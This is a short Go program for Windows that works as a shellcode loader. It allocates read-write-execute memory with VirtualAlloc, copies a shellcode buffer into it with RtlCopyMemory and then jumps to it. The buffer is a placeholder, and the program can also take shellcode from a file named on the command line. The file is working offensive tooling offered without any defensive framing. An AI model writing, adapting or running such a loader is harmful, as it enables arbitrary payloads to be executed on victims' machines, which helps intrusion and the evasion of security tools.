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package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
// 0xfc, 0x48, ----shellcode----, 0xd5,
}
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func RunShellCode() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}